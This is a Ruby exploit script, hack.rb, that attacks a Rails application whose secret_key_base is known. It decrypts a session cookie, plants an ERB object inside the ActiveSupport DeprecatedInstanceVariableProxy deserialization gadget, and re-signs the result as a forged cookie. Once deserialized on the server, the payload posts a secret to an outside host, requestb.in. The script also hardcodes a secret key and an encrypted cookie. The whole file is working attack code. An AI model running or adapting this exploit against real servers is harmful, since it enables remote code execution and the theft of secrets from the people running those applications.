hack.rb

require 'rails'
require 'erb'
require 'net/http'

module Secret; def self.get; end; end
def redirect_to(*args); end

secret_key_base = '1b48b72008d5d7a0e23f49a77daf5d283d07335c586b29f38eca240067257d585d2f87ee4eff888b77c3bc759bbe7934564f27dba50a12114881ed31c9a6da1e'
escaped_original_cookie = 'dHNjMlM0KzFsODJtUzg2VEY2eS9sYjJONlVvR1VDODdDaVc2MWVmOFk0OFlCaEZRd2xuS08rRmJ5Uy9QQWUzeGNYdGJjSVBIalZ4L0RoNmRwVGx3Z2lSemkyWnFMOW5CWmxmcFBjdFJOOUwwUnFnTjVnTFVOTVFGcEtHbE9oRDZvOVhRcXFaYmwzQmdjaW9LdWJEYlVuRXQ0OXdTK3l6a3YzcmJPTld1WGlVdHNUME5pRE1HVGZwTDJ3TmNyd3VFWHNqZ2RVV0hxREtXUno3eStYSmJhVjEzZlZqcXhNK293WUg5U0dqWVdTZHJoTWx0S0JZSHVMa0RhSUxQMXI4WUNzY1I0RmFHbEV4VGpFU2V5Vnh1dU55eHowOWVaR2hERmJ1U2xwdWZRZlBtR0w2cUxVZ3d0V1krWjdlUXJKdjJibndOallFcVRXSmV2QVhhdnFtcWU3RS94Rm5aK3VuZUZIUWxXRHlZaHhPMmlBQ2NKeTRPcSs0RGMzdjdieWUrQ1U1MWVVNTA4Smg5VzlkMk43cm92Sm1UUkc3VHAyZUFVSFMwU0xEZ0hTNVFpbldDU3dCRVI1ZlBSbkJYeTlUcDRjdmI3MFFLYjBWaWo5TGJjMEFwcDhjTjl3U2o1QkxnaWJmVnYvUWxMYmlub1dGR21aVTYwZDdDTzFESTlUTWNrL0FuaXg2NXBHWnpkOTBodEZrM3V6S2hCZ05aMXFlc2tQaXBGOTVybEdnWERua21XMWpzQUhTazluaFEvdy9mU1IyR3ZpTmtmWkhpdTFBL0RWUmtiN0IyR0oxTkM1aEdId3lwWFFqdjQ5R1VWdEVnR2pWakRuRGRKU2VoZlBDaURVVVgwN2RXWldySFlaQzU2eWNTLzZIMVVRL3hFRTdwZE9NU0tKdTBaNDZEVWFERUI4WVRlUytNcU4zR1IzZHdZeEI4clhJazU0NmMwRmlGS2xtNElmQXc5SWd0QWxNcjd5MU0rVzJlSHJLS01VNmMxVzlNRmdZVFBJejFTT2lrZFdUY1pxeVdCaTQ3OEJveHRKQjdncVJBVnArdTBnU2VhczFubENteGNhUWVicHJ0c2FLRXpTcTdlQWxaY0hRVVAxQjk0RmlRVHhuSWJ1R0hsaHQ4cnRTWThiSXkvK2FORG53Z2xaWGJqMC93aWRvYlQ3cFFKS2VIT1Y2UFd6S0piNXI2V2xWN3AzUDBXNjJ1V1U0RDhtNmZZei81cDMyajlBc0xnbWVQdTRtcStvSTdrT0p0dVdTYXZleTN6ZzVNLzlDd0NuWFNzWWJXZHB1VFVFSDFQNmJzY3g3UUpPMEhpQkZ6MEJoazIxUU5TVHhUSU81NFRPbFpuQ2V4aFFqaUZRdWhmZ0FQbnJSKzhpM09JNlJHU2xiaTNoNW1DaXFmTk5uK2JHdVRNN1pxOGo5ZUdOR2RwUTh0RnE1UkRKd2o4UGo5b0h2WGxsRkM0T3hOaGNoQzNXY2lRVUljNmVlZHNzRm10ZlV0QTFqeFhlRXBsb0cxQmhER0tydGxTdGp4bVc3QmdVOFBrbENqeTV3WmNJRmtwMXlBZjNCSExBdzdMVDdZYVpKRmlJMmtWQS82SkdlQ2E2NE4yVzR0VVM4NUZ2SE9rd2U2V01KZnh0Nkl1M3lyQVBoeksrVkV2eGgrMFd5RjR4dzNON3dTUmhFcTBrK2ZSdjV4TUhRS3FySldCcWNRV3JVNXE4ZzJ2UW9VZFA5emE5cEFQRGN2bWt0NGRtb2RjRkJnK2orWG1mOWRMTnhWckJMTUtxZ05qWFlzenBrcmJqY1JHenRvekRtcFdwcVdsakxNQzFvVDhsSGxWUUNQa2N5Z3pEM01DZGhncC9kSThabE85ck9BcXo2cDdCQkFyQlNNWEF3bmd3ZWFlMlBncVhpTmlnUi96b1RsYmx3U25aaXF3TE1QQzU5VlhqOEJaSXFiV3pmczU4NjRKNURtQXArVit3T1Z1b1BEaWt3MFRyZU1NS0ZTaHl5Mm5pUUg2RnR1RmpzWWRTREZlRGlYeGErZW80RW5BWi9qV3ZJTXdOV1ZDV1RYL2FyWjZpQk1tZXYrN1ZGMHpiK0J5SHBsY2VFdk5lMGJDdytLd3NQbWtOVkJDanFoMHdsT3FBeUV4bmQ2WXZ0SkhPMU5BdUNRR0JNNytIWklKZG9ZeGU1UE15ZWJoeWVSRmdHRkovMXpVcVZVS1c1WVJicldCdGo0OTMwTHBnMXhjRVY4WmdXN29BaWxPWFdiRWpqNVFaRS9la2h6RUNWYVZBdWVzYitUdHJKUE5NMWdEbUJIS3lLTUlyZWkwMk1kWkwrcmp1UUMrRW51NmVudjBVUHlSYzlsWHNKaXpRSWpibUVTSk1HSlc5ejFtMS9XRjFDVmxNVk5IK25xbnlxbGZraWFFZ3FRQnVTWlMrVzRLVkFzeFFmSGt3cCsxSzRXQ1M0QXFsM3Q0WVNaL0Y0Qk1OKzVCSlVTOWVVRU9mekJWWkZxaWpGRHROQTQzWDhaUGcremFRVVlBNXRtYjVjVURIeDVQenhKR0dMSDhIZFkzWHQ3TnFlTGhZWjNTR2JFTW9zMkZqa2V2cjc1eHpOMmFqWkhXV1RvR2lYNHNZc2MvcTdRajlXMnI2YWd4OUxMMDRPUTA5STF3bjRuQWxQdlp6LzNZZGp5RHNrdlh4MU83dktSb3p5QmdRQ3c4UVZmT0tINTUydVNBbDd0T0xKRHZLWkNtUXFUZVlQRXpOSUJJTEVtZ0dHRkt5eVJBbmJyT0RxOGd5anhvejk2VDZMYTRYVGRGa01yVXFoWTQ0S2JxZEY3LS1TYTVEQ2pGR050cHhkMTVoTlVLOWlBPT0%3D--7cfab6cc4aa5e5b9fd7470baecfd748c22a5bc4b'

unescaped_original_cookie = URI.unescape(escaped_original_cookie)

key_generator = ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000)
key_generator = ActiveSupport::CachingKeyGenerator.new(key_generator)

secret = key_generator.generate_key('encrypted cookie')
sign_secret = key_generator.generate_key('signed encrypted cookie')
encryptor = ActiveSupport::MessageEncryptor.new(secret, sign_secret)

data =  encryptor.decrypt_and_verify(unescaped_original_cookie)

puts "== ORIGINAL =="
puts data

erb = ERB.allocate
erb.instance_variable_set :@src, "require 'net/http'; Net::HTTP.post_form(URI('http://requestb.in/13dclmo1'), 'q' => Secret.get, 'max' => '50')"

proxy = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result)
new_data = data.dup
new_data["hax"] = proxy

new_cookie = encryptor.encrypt_and_sign(new_data)
new_escaped_cookie = URI.escape(new_cookie)

puts new_escaped_cookie